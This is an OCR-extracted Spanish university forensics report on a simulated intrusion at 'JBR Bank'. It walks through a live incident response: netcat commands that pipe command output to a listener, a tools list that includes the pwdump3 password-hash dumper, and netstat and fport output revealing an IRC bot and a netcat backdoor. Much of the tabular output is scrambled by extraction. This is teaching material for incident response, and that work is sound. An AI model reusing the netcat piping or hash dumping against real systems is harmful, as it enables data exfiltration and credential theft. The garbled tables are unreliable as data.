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RESUMEN

El principal objetivo de este proyecto es el implementar las técnicas aprendidas en
nuestra vida académica y el seminario asistido con respecto a las técnicas de
computacion forense para resolver un cyber crimen corporativo que se suscita en la
empresa “JBR BANK” la cual ha solicitado investigar los datos que el equipo de
respuestas a incidentes de la misma ha recogido durante un acto sospechoso, en
donde se ha encontrado un archivo de nhombre Update.exe con una longitud de O
bytes y que se comenta fue un instalado durante las horas fuera de horario de

trabajo de la empresa.

Se solicita explicar al Banco JBR los métodos utilizados por cualquier intruso, y el

alcance de la intrusion, si es que el sistema ha sido comprometido.
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INTRODUCCION

El objetivo del proyecto es resolver un caso de cyber crimen de manera
eficiente aplicando nuestros conocimientos y demas temas aprendidos

durante el trascurso de la materia de graduacion.

En el primer capitulo, haremos una descripcion detallada de conceptos sobre
computacion forense para de esta manera entender de una mejor manera el

caso.

En el segundo capitulo se menciona una descripcién general del caso, el
problema en siy lo que la empresa requiere de nuestros servicios ademas de

la solucién del mismo.

En el tercer capitulo, se da un detalle sobre las herramientas de hardware:
como la laptop que hemos usado para la evaluacién de este caso. Ademas
de las herramientas de software: fport, pslist, psloggedon, auditpol, psinfo,

psfile, psservice, pwdump3, las cuales se han usado durante el proceso.



Xl

El cuarto capitulo, trata del disefio e implementacion de la solucién del caso,
una breve bitdcora, que describira paso a paso la resolucién del caso e

incluye una breve descripcion de cada punto.

En el quinto y dltimo capitulo se muestran las pruebas que hemos
considerado pertinente recalcar, ya que las mismas fueron las Unicas

responsables de llevarnos hacia la solucién del caso.



1.1

CAPITULO 1:

ANTECEDENTES Y JUSTIFICACION.

ANTECEDENTES

Debido a la creciente demanda de ataques y delitos informéticos que se
vienen presentando hace mas de dos décadas, se ha llevado a cabo el
desarrollo de una metodologia que nos permite enfrentar dichos casos y
mantenernos preparados para cualquier tipo de contingencia que se
suscite en nuestro ambiente tecnoldgico, ya sea a nivel personal o

empresarial.

1.2. JUSTIFICACION

La informética forense permite la soluciébn de conflictos tecnolégicos
relacionados con seguridad informatica y proteccion de datos. Gracias a
ella, las empresas obtienen una respuesta a problemas de privacidad,
competencia desleal, fraude, robo de informacion confidencial y/o
espionaje industrial, como sucede en nuestro caso, surgido a través de
uso indebido de las tecnologias de la informacion. Mediante sus

procedimientos identificaremos, aseguraremos, extraeremos,



analizaremos y presentaremos pruebas generadas y guardadas
electronicamente para que puedan ser aceptadas en un proceso legal, si

esa fuera la decision del contratista.

1.3 DESCRIPCION DEL PROYECTO

Usted es un oficial de policia que se especializa en delitos informéaticos.
Como usted se sienta en su escritorio, deseando estar afuera en el sol en
lugar de mirar a una pantalla de computadora, usted recibe una llamada
de teléfono de interés desde el director de Tl de JBR Banco. JBR Bank
es un grande, muy respetada institucion financiera, y muchos de sus
colegas usan sus servicios. JBR tiene un sitio Web para que los clientes
puedan comprobar la actividad de la cuenta, pagar las facturas por via
electrénica, y ejecutar otras tareas financieras. Por mesa de ayuda del
banco para solucionar adecuadamente las quejas del cliente, JBR ha
construido un conjunto de maquinas que utiliza la hora de investigar los
errores en su software en linea. Después de hacer algunas preguntas
clave, se entera de que estas maquinas no estan protegidas por un
firewall. El personal de IT mantiene a estos sistemas de escritorio de los
clientes de la simulacion en un "ambiente abierto” para reflejar la
configuracion que el cliente puede operar en su dial-up o conexion de
banda ancha. La piscina de las maquinas contiene todo, desde Linux a

FreeBSD, Apple OS X, Windows 2000, Windows XP y mucho mas. Cada



magquina cuenta con varios cuando experimenta un error y pide la ayuda

de Help Desk solicitante.

JBR director de IT indica que en octubre 1 del 2003, uno de los
empleados de help desk encontrado un archivo extrafio en uno de los
sistemas de simulacion de los clientes de escritorio. Se accede a la
estacion de trabajo Windows 2000 (en la direccion IP 103.98.91.41) y se
dio cuenta y el archivo update.exe encuentra en C: \ que fue de cero
bytes de longitud. Este archivo no fue colocado en la maquina durante la
practica comercial normal, por lo que el empleado del Help Desk se llama
la seguridad corporativa. La politica del Banco de respuesta a incidentes
indica que la maquina debe ser investigado utilizando un proceso de
respuesta en vivo, que recoge los datos volatiles que pueden ser
perdidos si el ordenador esta apagado. La direccion IP del respondedor
durante la respuesta en vivo fue 103.98.91.200. Después de la respuesta
en vivo habia sido completado, el equipo del Banco JBR de respuesta a
incidentes adquirié una duplicacién forense con la utilidad dd. El servicio
de ayuda estaba llevando a cabo la solucién de problemas de red
durante el tiempo que se sospecha de la intrusion y puede haber

recogido el trafico de red de interés.

JBR director de IT le gustaria, actuando como un agente de la ley, para



investigar los datos de su equipo de respuesta a incidentes ha recogido.
JBR banco quiere saber lo que violaciones de confidencialidad o
integridad pudo haber ocurrido. El banco esta preocupado por las nuevas
directrices de la SEC, que alientan a los bancos a informar de posible
compromiso de la informacién de los clientes. A medida que el agente del
orden publico, debe ayudar a entender el Banco JBR los métodos
utilizados por cualquier intruso, y el alcance de la intrusion, si es que el

sistema fue comprometido.

1.3.1 Objetivo General

Investigar una posible intrusion del banco JBR, mediante técnicas de
Computacion Forense, analizando dicho caso de manera exhaustiva,
hasta lograr obtener las pruebas necesarias, que indiquen que la

empresa fue victima de una intrusion.

1.3.2 Objetivos especificos

Aplicar todos los conocimientos adquiridos de la materia de grado, para
de esta manera llegar a una solucion veridica y sacar conclusiones

acertadas, que nos sirvan para ofrecer las recomendaciones adecuadas



a la empresa, en caso de existir una intrusion, y asi tomarlo de ejemplo y

aplicarlo al diario vivir.

1.4 METODOLOGIA

Para la ejecucidon de nuestro proyecto se utilizo un DVD, entregado por
parte de la catedratica de la materia de grado, una maquina virtual
mediante la cual se analiza la imagen que se encuentra adjunta al DVD,
y herramientas de software las cuales nos ayudaras a esclarecer el caso,
y llegar a una respuesta veridica, las mismas se iran indicando

posteriormente, a medida que la utilicemos.



2.1

2.1.

CAPITULO 2:

MARCO TEORICO.

COMPUTACION FORENSE

1 INTRODUCCION

Al igual que Sherlock Holmes, los investigadores forenses de la
informatica descubren, analizan y recopilan evidencias digitales que
incriminan a los atacantes virtuales, quienes hace mas de dos décadas

vienen afectando desde el universo computacional al mundo real.

Muchos pensaran que la informatica forense tiene que ver con los
programas o aplicaciones que se utilizan en la medicina forense, aquella
especialidad que se encarga de la investigacion penal en sus aspectos
médicos con el fin de resolver problemas civiles, penales o
administrativos y para cooperar en la formulacion de leyes; pero la
realidad es que la informatica forense realiza las mismas funciones que
esta medicina pero en otros “cadaveres” y en otros delitos, no fisicos sino

on line.

Con el auge de los computadores y la IT, la seguridad informatica se ha
visto afectada. Durante la Ultima década los ataques virtuales han crecido

inimaginablemente estableciendo un escenario oscuro sobre la seguridad
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de la infraestructura informatica en todo el mundo, lo que ha suscitado
una serie de acciones que favorecen y refuerzan la seguridad, sin
embargo, los hackers y delincuentes informéticos cada vez encuentran

nuevas formas para continuar con su accionatr.

Como es conocido durante todo este tiempo han surgido noticias sobre
fraudes electrénicos, espionajes, pornografia infantil, virus y hackeos,
entre otras practicas que debilitan la estructura informética de empresas,
gobiernos y personas, debido a estos ataques y delitos informaticos que
se vienen presentando hace mas de dos décadas, las autoridades
policiales en el mundo tomaron cartas en el asunto, creando laboratorios
informaticos para apoyar las investigaciones judiciales, en pocas
palabras crearon un departamento de computacién forense para analizar
las informaciones de la red y sus comportamientos, y poder atrapar a los

culpables de los mismos.

2.1.2 ¢QUE ES LA INFORMATICA FORENSE?

De acuerdo con lo anterior, podemos definir que la computacién forense
es como una rama de la informatica que se encarga de recolectar y/o
recopilar informacion valiosa desde sistemas informaticos (redes,
ordenadores, soportes magnéticos, Opticos, etc) con distintos fines,

sirviendo de apoyo a otras disciplinas o actividades, como son las


http://www.dragonjar.org/tag/computacion

labores de criminalistica e investigaciones. Estas evidencias que permite
descubrir diferentes datos sirven, por ejemplo, para condenar o absolver

a algan imputado.

Esta rama investigativa tuvo su origen en 1984 cuando el FBI y otras
agencias de Estados Unidos comenzaron a desarrollar programas para

examinar evidencia computacional.

La idea principal de este tipo de informatica es colaborar con la
criminalistica, pues como explica Jeimy Cano, ingeniero de sistemas y
computacién de la Universidad de los Andes (Bogota, Colombia) y ex
presidente de la Asociacion Colombiana de Ingenieros de Sistemas
(ACIS), la computacion forense trabaja como una disciplina auxiliar de la
justicia moderna, para enfrentar los desafios y técnicas de los intrusos
informaticos, como garante de la verdad alrededor de la evidencia digital

gue se pudiese aportar en un proceso.

Como tal, el andlisis forense involucra aspectos como la preservacion,
descubrimiento, identificacién, extracciébn, documentacion y la
interpretacion de datos informaticos, analizando, a partir de esto, los
elementos que sean evidencia digital, la cual no es mas que un tipo de
evidencia fisica, menos tangible que otras formas de pruebas (ADN,

huellas digitales, componentes de computadores), que puede ser



duplicada de manera exacta y copiada tal como si fuese el original, como

explica Cano.

Este tipo de evidencia es la que brinda a los investigadores la materia
prima para trabajar, sin embargo cuenta con algunas desventajas ya que
ésta es volatil, anénima, duplicable, alterable, modificable y eliminable.
Por esto, los investigadores deben estar al tanto de procedimientos,
técnicas y herramientas tecnoldgicas para obtener, custodiar, analizar,
revisar y presentar esta evidencia. Asimismo deben tener conocimiento
de las normas, derecho procesal y procedimientos legales para que
dichas pruebas sean confiables y den los elementos necesarios para

poder inculpar a alguien.

Al realizar una investigacion, existen algunos componentes que todo
investigador forense debe tener en cuenta al manipular las pruebas, ya
que dependiendo del buen uso que se le dé a la evidencia y de los
conocimientos de los Sherlock Homes modernos es que la justicia puede

tomar decisiones.



2.1.3 COMPONENTES DEL ANALISIS FORENSE

+ Identificacion de la evidencia: los investigadores deben conocer

muy bien los formatos que tiene la informacion con el fin de saber como
extraerla, dénde y como almacenarla y preservarla.

+ Preservacién de la evidencia: es importante que no se generen

cambios en la evidencia al analizarse, sin embargo en algunos casos
donde deba presentarse esos cambios deben ser explicados ya que toda

alteracion debe ser registrada y justificada.

« Analisis _de la evidencia: cada uno de los datos recopilados como

prueba deben ser examinados por expertos en el tema.

» Presentacién: las metodologias que se utilicen para la presentacion

de los datos analizados deben ser serias, probadas y confiables.

Cabe resaltar que estos componentes y procedimientos no son unicos,
pues existen otros como: la esterilidad de los medios informéticos de
trabajo, que, al igual que en la medicina forense, si existe un material
contaminado puede causar una interpretaciéon o un analisis erréneo; y la
verificacion de las copias en medios informaticos, las cuales deben ser

idénticas al original.
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2.1.4 VULNERABILIDAD

A raiz de los ataques a las Torres Gemelas, las organizaciones publicas
y privadas se dieron cuenta de las mdltiples falencias que poseian en
cuanto a seguridad informatica, por lo que han tratado de desarrollar
mejores estrategias de seguridad, sin embargo éstas no han podido
contrarrestar la gran mayoria de los ataques on line que se presentan en

la actualidad.

Cabe resaltar que la situacion latina frente a la norte americana es
totalmente diferente y que en América Latina apenas, hace unos afos,
tanto los gobiernos como las empresas tomaron cartas en el asunto,

aunqgue no del modo que se debiera.

“Las organizaciones han adelantado analisis de su seguridad, instalado
multiples mecanismos de proteccion y efectuado multiples pruebas con el
fin de mejorar las condiciones de seguridad existentes en cada uno de
sus entornos de negocio. Sin embargo, dado que la seguridad completa
no existe, el margen para un nuevo incidente de seguridad siempre se
tiene, por tanto, cuando éste se presenta, se verifica en un alto
porcentaje que las organizaciones no se encuentran preparadas para
enfrentar la realidad de una intrusién o incidente” opina al respecto Jeimy

Cano.
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Asimismo, es tan poca la importancia que se le da a la seguridad
informatica que las mismas aseguradoras no consideran dentro de sus
polizas de seguro a los ataques informaticos actuales, pues éstas
establecen clausulas para los bancos y demas entidades con base en

elementos tecnoldgicos de hace 20 afios.

Cano explica que estas clausulas aseguran y se refieren a pérdidas de
informacion, transferencias de mensajes via telex, conexiones por fax o
via telefénica y otras modalidades que ya no son funcionales para los
atacantes virtuales; mientras que el phishing, la manipulacion de la
pagina web, el robo de identidad y la suplantacién, los nuevos y
poderosos delitos informaticos, no son cubiertos por las poélizas que

ofrecen en la actualidad los entes aseguradores.

Estos dos casos de desconocimiento, tanto de las empresas, como de
las aseguradoras reflejan que los paises latinos, no estan conscientes de
lo poderosos que son los ataques virtuales de los hackers del pais,
quienes cuentan con toda la tecnologia y el conocimiento para engafar y

estafar.



3.1

CAPITULO 3:

HERRAMIENTAS

HERRAMIENTAS DE SOFTWARE

Virtual Machine: Con Sistema Operativo Linux

Caine: (Computer Aided INvestigative Environment), es una
distribucion Live CD para realizar andlisis forense informético.
Autopsy: es un frontal Web que permite realizar operaciones de
andlisis forense sirviendo como interfaz grafico del popular juego de
herramientas forenses.

Fport: Esta aplicacion que se ejecuta a través de simbolo de sistema
nos mostrara los puertos abiertos, sean conocidos o no. Y a que
aplicacién y puerto estan apuntando.

Pslist: sin necesidad de usar el Escritorio remoto, permite ver los
procesos remotos con gran detalle).

Psloggedon: muestra quién ha iniciado sesion en el sistema. Puede

tratarse de inicios de sesion locales (interactivos) o de recurso
compartido de red.
Auditpol: Auditpol llama directamente a las API de autorizacién para

aplicar los cambios en la directiva de auditoria granular.


http://www.sleuthkit.org/autopsy/
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Psinfo: es una herramienta de linea de comandos que reune
informacion clave acerca del sistema Windows NT/2000 local o
remoto, por ejemplo, el tipo de instalacion, la versiébn de kernel, el
propietario y la organizacion en registro, el numero de procesadores y
los tipos, la cantidad de memoria fisica, la fecha de instalacién del
sistema y, si se trata de una version de prueba, la fecha de caducidad.
Psfile: es una utilidad de linea de comandos que muestra una lista de
archivos de un sistema que se abren de forma remota; asimismo,
permite cerrar los archivos abiertos tanto por nombre como por un
identificador del archivo.

Psservice: es un visor de servicios y un controlador para Windows.
Muestra el estado, la configuracion y las dependencias de servicios, y
permite iniciarlos, detenerlos, pausarlos, reanudarlos y reiniciarlos.
pwdump3: Permite recuperar las hashes de passwords de Windows

localmente o a través de la red aunque syskey no esté habilitado.

HERRAMIENTAS DE HARDWARE

Laptop: Para la realizacion del analisis forense utilizamos una laptop
con sistema operativo Windows en la cual teniamos virtualizado un

sistema Linux con la distribucién de Caine

COMMAND PROMPT



o Windows
= Netstat -an
= Netcat

o Linux Caine

* nc-v-l-p2222
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CAPITULO 4:

DESARROLLO DEL PROYECTO

4.1 DESCRIPCION DEL PROYECTO FINAL

Este caso se trata de respuestas en vivo, es decir al momento que el
incidente ocurre, nos hemos basado en los datos que el DVD incluye, los
cuales son datos volatiles, es decir que son datos recogidos en el
momento de la posible intrusion, para recoger dichos datos siempre es
necesario llamar la menor atenciéon posible, porque puede ser que el
posible atacante se encuentre conectado en esos momentos.

En primer lugar debemos recordar que para no llamar la atencién del
atacante, es necesario usar comandos, para de esta manera no
revelarnos, por consiguiente se debe usar una maquina de nuestra

confianza, que se encuentre en nuestra misma red.

Luego debemos transferir la informacion de la maquina victima hacia la
nuestra, para evitar alterar la informacion actual, esto lo lograremos
mediante NETCAT, la cual permite crear canales TCP. Mediante el
siguiente comando, iniciaremos un servidor NETCAT en nuestra maquina

de confianza o también conocida como estacion forense:
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nc-v -l -p 2222 > command.txt

Enviaremos los datos desde el ordenador de la victima con el siguiente

comando:

command | nc forensic_workstation_ip_address 2222

Ademas, tendremos que sustituir la direccion IP de la estacion forense
donde dice: forensic_workstation ip_address. Luego presionamos
CTRL-C (™ C) para romper el periodo de sesiones NetCat, y el archivo
resultante command.txt contendra todos los datos de los comandos que

hemos ejecutado.

Cuando elegimos proceder a dar una respuesta en vivo en el sistema de
la victima, que en este caso hace referencia a el web server llamado
JBRWWW, los datos mas importantes que debemos recolectar son los
datos volatiles, es decir los que se encuentran corriendo en ese
momento, ya que ésta contiene informacién importante que puede
ayudarnos determinar, quien, como y posiblemente el porqué de este

incidente. Para eso necesitamos recolectar datos de las siguientes areas:



EL SISTEMA DE FECHA Y HORA
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Es una de las mas importantes piezas de informacion para el

investigador. Sin la fecha y hora actuales, seria dificil correlacionar la

informacion entre las multiples maquinas victimas, si es que ese fuese el

caso, Y en nuestro caso se trata de cientos de sistemas.

Estos datos pueden ser recolectados facilmente mediante los comando

de fecha y hora que se han utilizado dentro del command prompt. Y el

resultado seria el siguiente:

AKAAKAKRA XA XA AR AKX XN A XA XA KK

* Kk Kk kK Start Date * k k kK

ok Kk ok Kk Kk kK ok ok Kk Kk kK Kk K

The current date is: Wed 10/01/2003
Enter the new date: (mm-dd-yy)

AKAAKAKRA KA XA AR KAA XA XA XA KK

* Kk Kk kK Start Time * k Kk k%

R R e S b b b db dh S A b b b b Ib dh g b b

The current time is: 21:58:19.29

Enter the new time:
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Cabe recalcar que esta es la hora en que se inicio la respuesta en vivo al

incidente, y que estos datos se encuentran adjuntos al DVD.

Actuales conexiones de red: es posible que mientras nosotros estemos
ejecutando nuestra respuesta de incidentes en vivo el atacante se
encuentre conectado al servidor durante este momento, al mismo tiempo
el atacante puede estar corriendo un mecanismo de fuerza bruta hacia
las maquinas en el internet desde el servidor. Esto se logra mediante el

comando netstat:

R R I b d b A A b S R A S b A i b O 4

* k Kk Kk kk netstat -—-an * ok k ok ok kK

khkkhkhkkhkhkkhkhkhkkhkhrhkhkhkhkhkhkxkkhkxk

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:7 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9 0.0.0.0:0 LISTENING
TCP 0.0.0.0:13 0.0.0.0:0 LISTENING
TCP 0.0.0.0:17 0.0.0.0:0 LISTENING
TCP 0.0.0.0:19 0.0.0.0:0 LISTENING
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING



TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

103.98.91.41:139

103.98.91.41:445

103.98.91.41:1033

103.98.91.41:1174

103.98.91.41:1465

103.98.91.41:3992

103.98.91.41:4151

103.98.91.41:60906

127.0.

127.0.

127.0.

127.0.

127.0.

.0:443

.0:445

.0:515

.0:1025

.0:1027

.0:1030

.0:1031

.0:1033

.0:1174

.0:1465

.0:1801

.0:3372

.0:4151

.0:60906

0.1:1029

0.1:2103

0.1:2105

0.1:2107

0.1:4150

95.208.

123.64:3762

95.208.123.64:21

95.145.

95.208.

128.17:6667

123.64:3753

95.208.123.64:445

103.98.

91.200:2222

95.16.3.23:1048

0.0.0.

0.0.0.

0.0.0.

0.0.0.

0.0.0.

0:0

0:0

0:0

0:0

0:0
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LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

ESTABLISHED
CLOSE_WAIT

ESTABLISHED

ESTABLISHED
TIME WAIT

ESTABLISHED

ESTABLISHED
LISTENING
LISTENING
LISTENING
LISTENING

LISTENING



UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

UDP

103.

103.

103.

103.

.0.

.0.

0:

0:

98.

98.

98.

98.

:13

:17

:19

:135

1161

1162

1445

:1026

:1028

1032

3456

.0.0:3527

91.41:

91.41:

91.41:

91.41:

137

138

500

520
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Ya sabemos que después de las direcciones ip, adicionales a ellas se

encuentran lo que son los puertos abiertos. Sabemos tambien que

nuestra estacion forense se encuentra establecido con la direcciéon IP

103.98.91.200, podemos hacer

caso omiso de

las conexiones

correspondientes a ella. Una conexion TCP en el puerto 2222 se

esperaba debido al proceso de transferencia de datos.
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Después de la eliminacion de todos los demas datos extrafios, nos

guedamos con seis lineas interesantes:

Active Connections

Proto

TCP

TCP

TCP

TCP

TCP

TCP

TCP

Local Address

103.98.91.41:445

103.98.91.41:1033

103.98.

103.98.

103.98.

103.98.

103.98.

91.41:1174

91.41:1465

91.41:3992

91.41:4151

91.41:60906

Foreign Address

95.208.

95.208.

95.145.

95.208.

95.208.

123.

123.

128.

123.

123.

64

64

17:

64:

64:

103.98.91.200

13762

: 21

6667

3753

445

12222

95.16.3.23:1048

Son las conexiones establecidas y puertos abiertos.

State
ESTABLISHED
CLOSE WAIT
ESTABLISHED
ESTABLISHED
TIME WATIT
ESTABLISHED

ESTABLISHED

La primera linea es una conexién al puerto NetBIOS de JBRWWW

Windows 2000. Por lo tanto, la direccion IP 95.208.123.64 podria ser la

emision de comandos con una herramienta como psexec, conectando un

archivo compartido con el uso del comando net, o explotando alguna otra

funcionalidad de Microsoft windows

La segunda linea es muy interesante. Se conecta JBRWWW al puerto

21, el puerto FTP, del sistema 95.208.123.64. Debido a que el

administrador jura que no ha participado en esta conexion, esta linea la

declaramos como sospechosa.
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La tercera linea es una conexién a un servidor IRC (puerto TCP 6667) en
95.145.128.17. Esta es otra actividad en el cual el administrador indica

no haber participado.

La cuarta linea no se nos hace familiar asi que con una rapida busqueda
en Google nos lleva a http://www.portsdb.org donde se demuestra que
puede ser el servicio "nattyserver" o "ChilllASP". Por lo que solo lo
marcaremos como posible sospechoso y avanzamos.

La quinta linea da detalles de una conexion NetBIOS de nuestra maquina
victima, llevandonos de vuelta a 95.208.123.64. Esto podria indicar que

el atacante ha emitido el uso de un comando net en JBRWWW.

Debido a que esta direccion IP se ha presentado mas de una vez en la
categoria de actividad sospechosa, también marcaremos esta conexion

como sospechosa.

La ultima linea muestra una conexién con JBRWWW del puerto TCP
60906. Los puertos por encima de 1.024 suelen ser los puertos efimeros.
Observe que también se conecta a un puerto efimero en una direccién IP

diferente de destino hacia 95.16.3.23.



» PUERTOS TCP O UDP ABIERTOS
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Si recordamos la lista que descubrimos con el comando netcat

recordamos cuales eran las conexiones con puertos abiertos y estamos

interesados en estas lineas por una razon: un puerto abierto negado,

ejecuta una puerta trasera en la maquina victima.

Las primeras lineas a través de puerto TCP 515 son normales, por lo

general, inician cuando un servicio IS 'y TCP / IP son instalados en la

maquina. El proximo puerto TCP, hasta haber establecido conexion, son

los puertos efimeros:

Proto

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

Local

0.

0.

0.

Address

O:

.0:

1025

1027

:1030

:1031

:1033

:1174

11465

:1801

:3372

:4151

0

0

.0

.0.

0

Foreign Address
.0.0.0:0

:0

State

LISTENING

LISTENING

LISTENING

LISTENING

LISTENING

LISTENING

LISTENING

LISTENING

LISTENING

LISTENING
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TCP 0.0.0.0:60906 0.0.0.0:0 LISTENING

Vemos que hay un montén de puertos abiertos que no podemos
identificar. Un atacante podria abrirlo por medio de una puerta trasera.
Solo con netstat, no podemos identificar el proposito de los puertos
abiertos, por lo que tenemos que ver cuales ejecutables han sido abiertos

por los puertos para tener una mejor idea de sus efectos.

EJECUTABLES ABIERTOS POR PUERTOS TCP O UDP

Lo cual lo realizaremos con la herramienta llamada FPORT ya que no
necesita argumentos de lineas de comando para ejecutarlo durante la

respuesta en vivo y con la cual obtenemos lo siguiente:

khkkkhk Ak kA kA kkhkkhk
* Kk Kk kK fport * Kk Kk kK

Ak Kk Ak kA kA kkhkkhk

FPort v1.31 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Securing the dot com world

Pid Process Port Proto Path
1292 tcpsves -> 7 TCP

C:\WINNT\System32\tcpsvcs.exe



1292 tcpsvces -> 9
1292 tcpsves
C:\WINNT\System32\tcpsvcs
1292 tcpsvces
C:\WINNT\System32\tcpsvcs
1292 tcpsvces
C:\WINNT\System32\tcpsvcs

1044 inetinfo

C:\WINNT\System32\inetsrv\inetinfo.

1044 inetinfo

C:\WINNT\System32\inetsrv\inetinfo.

1044 inetinfo

C:\WINNT\System32\inetsrv\inetinfo.

380 svchost
C:\WINNT\system32\svchost.
8 System -

1044 inetinfo

C:\WINNT\System32\inetsrv\inetinfo.

8 System -
1292 tcpsves
C:\WINNT\System32\tcpsvcs.
492 MSTask -> 1
784 msdtc ->
860 mgsvc ->

8 System ->

1044 inetinfo

.exe

.exe

.exe

exe

>

>

exe

025

1027

1029

TCP

139

445

TCP

TCP

TCP

1030

25

C:\WINNT\System32\tcpsvcs.exe

exe

exe

exe

TCP

exe

TCP

->

13

17

19

21

25

80

135

443

515

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

TCP

C:\WINNT\system32\MSTask.exe

TCP

C:\WINNT\System32\inetsrv\inetinfo.exe

1031

C:\WINNT\System32\msdtc.exe

C:\WINNT\System32\mgsvc.exe

TCP



1372 ftp
C:\WINNT\system32\ftp.exe
1224 iroffer
C:\WINNT\system32\os2\dll\iroffer.exe
1224 iroffer

C:\WINNT\system32\os2\dll\iroffer.exe

860 mgsvc -> 1801 TCP
860 mgsvc -> 2103 TCP
860 mgsvc -> 2105 TCP
860 mgsvc -> 2107 TCP
784 msdtc -> 3372 TCP
1348 t NC -> 4151 TCP
1224 iroffer ->

C:\WINNT\system32\os2\dll\iroffer.exe
1424 nc

C:\WINNT\system32\os2\dll\nc.exe

1292 tcpsvcs -> 7 UDP C
1292 tcpsvcs -> 9 UDP C
1292 tcpsvcs -> 13 UDP C
1292 tcpsvcs -> 17 UDP C
1292 tcpsvcs -> 19 UDP C
380 svchost -> 135 UDP C
8 System -> 137 UDP
8 System -> 138 UDP
1244 snmp -> 161 UDP
1256 snmptrap -> 162 UDP

8 System -> 445 UDP

-> 1033
-> 1174
-> 1465

:\WINNT\System32\mgsvc.
:\WINNT\System32\mgsvc.
:\WINNT\System32\mgsvc.
:\WINNT\System32\mgsvc.
:\WINNT\System32\msdtc.
:\win 2k\intel\bin\t NC
4153

-> 60906
:\WINNT\System32\tcpsvcs
:\WINNT\System32\tcpsvcs
:\WINNT\System32\tcpsvcs

:\WINNT\System32\tcpsvcs

:\WINNT\System32\tcpsvcs

:\WINNT\system32\svchost.

C:\WINNT\System32\snmp.e

26

TCP

TCP

TCP

exe

exe

exe

exe

exe

.EXE

TCP

TCP

.exXe

.exe

.exe

.exXe

.exe

exe

xe

C:\WINNT\System32\snmptrap.exe
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224 1sass -> 500 UDP C:\WINNT\system32\1lsass.exe
440 svchost -> 520 UDP C:\WINNT\System32\svchost.exe
212 services -> 1026 UDP C:\WINNT\system32\services.exe
860 mgsvc -> 1028 UDP C:\WINNT\System32\mgsvc.exe

1044 inetinfo-> 1032 UDP

C:\WINNT\System32\inetsrv\inetinfo.exe
1044 inetinfo -> 3456 UDP
C:\WINNT\System32\inetsrv\inetinfo.exe

860 mgsvce -> 3527 UDP C:\WINNT\System32\mgsvc.exe

Las primeras cinco lineas estan problablemente atribuidas a la apertura
de archivos binarios del sistema mediante los puertos TCP 1025, 1027,
1029, 1030y 1031.

La siguiente linea muestra que alguien ejecuta el cliente FTP nativo en
JBRWWW. Debido a que el administrador dice que nunca se ejecuta el
cliente FTP, marcamos esta actividad como sospechosa.

Las siguientes dos lineas detalla que se esta ejecutando C: \ winnt \

system32 \ OS2 \ dll que se denomina iroffer.exe:

Pid Process Port Proto Path
1224 iroffer -> 1174 TCP C:\WINNT\system32\os2\dll\iroffer.exe

1224 iroffer -> 1465 TCP C:\WINNT\system32\os2\dll\iroff
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Una rapida busqueda en http://www.google.com de "iroffer" se vuelve un
sitio web en http://www.iroffer.org. Se trata de un sitio Web real, y la
herramienta tiene fines legitimos.

Aparentemente, esta herramienta es un robot que se conecta a canales
de IRC y Ofrece control remoto de JBRWWW. Por lo tanto, estas dos
lineas nos proporcionan la confirmacién de que hubo un incidente en el
gue se encuentra comprometido JBRWWW.

Las proximas cinco lineas en la salida de FPort muestran los puertos
abiertos por el mgsvc.exe, un archivo binario afiliado con la cola de
mensajes de Windows. La siguiente linea detecta nuestra respuesta

netcat en vivo durante periodo de sesiones:

Pid Process Port Proto Path

1348 t NC -> 4151 TCP D:\win 2k\intel\bin\t NC.EXE

Hemos cambiado nuestra sesién al nombre de: t NC.EXE para
demostrar confianza, y asi de esta manera no correr accidentalmente

una copia de nc.exe desde la maquina victima.

Si nos movemos a la siguiente dos lineas, nos damos cuenta de que
ellos nos proporcionan la mayor parte de la informacion relativa a las

puertas traseras del atacante:

Pid Process Port Proto Path
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1224 iroffer -> 4153 TCP C:\WINNT\system32\os2\dll\iroffer.exe

1424 nc -> 60906 TCP C:\WINNT\system32\os2\dll\nc.exe

Lo cual indica que el atacante no solo ejecuto el iroffer sino que también
tuvo un periodo de sesiones de netcat, pero no se puede indicar que
actividades ha realizando el atacante mediante estas dos lineas, ya que
podria ser una conexion de salida, o puede ser en modo de escucha,
permitiendo a las conexiones de entrada libre acceso a un shell de

comandos.

Al reexaminar la salida de netstat mostrado anteriormente, vemos que el
puerto 60906 esta escuchando. Por lo tanto, podemos concluir a través
de netcat y FPort que el atacante de la puerta trasera en 60906 en la

actualidad esta conectado.

CACHE DE NOMBRES NETBIOS DE ESCRITORIO:

Como sabemos en versiones de Windows anteriores a 2003 se
guardaban las conexiones mediante nombres NetBIOS en lugar de

direcciones.
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Mapearemos un nombre NetBIOS a una direccion ip, por lo tanto
podemos emitir el comando nbtstat durante nuestra respuesta en vivo
hacia la victima con un volcado del sistema de caché de nombres
NetBIOS.

Tengamos en cuenta que este comando sOlo nos muestra el nombre
NetBIOS de la tabla cache, no un historial completo de las conexiones.
Por lo tanto, los valores en esta tabla representan las conexiones de y
hacia las maquinas en un relativamente corto tiempo atras. Cuando
ejecute el comando siguiente (el modificador -c instruye a nbtstat a volcar

la memoria caché):

T PSLIST 1484 8 2 87 1216 0:00:00.040 0:00:00.030
0:00:00.050

khkkhkhkhkkhkkhkhkhkkhkhkhkhkkhkhhkhkxkkkx

* ok Kk kk nbtstat -C * Kk Kk Kk Kk
KKK KAAAEEEEAARRRRKRK KKK
Local Area Connection:
Node IpAddress: [103.98.91.41] Scope Id: []
NetBIOS Remote Cache Name Table
Name Type Host Address Life [sec]

95.208.123.64 <20> UNIQUE 95.208.123.64 562
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Esta es una unica respuesta. El "'nombre" de este servidor es en realidad
la misma que la direccibn IP para este equipo situado en la

95.208.123.64.

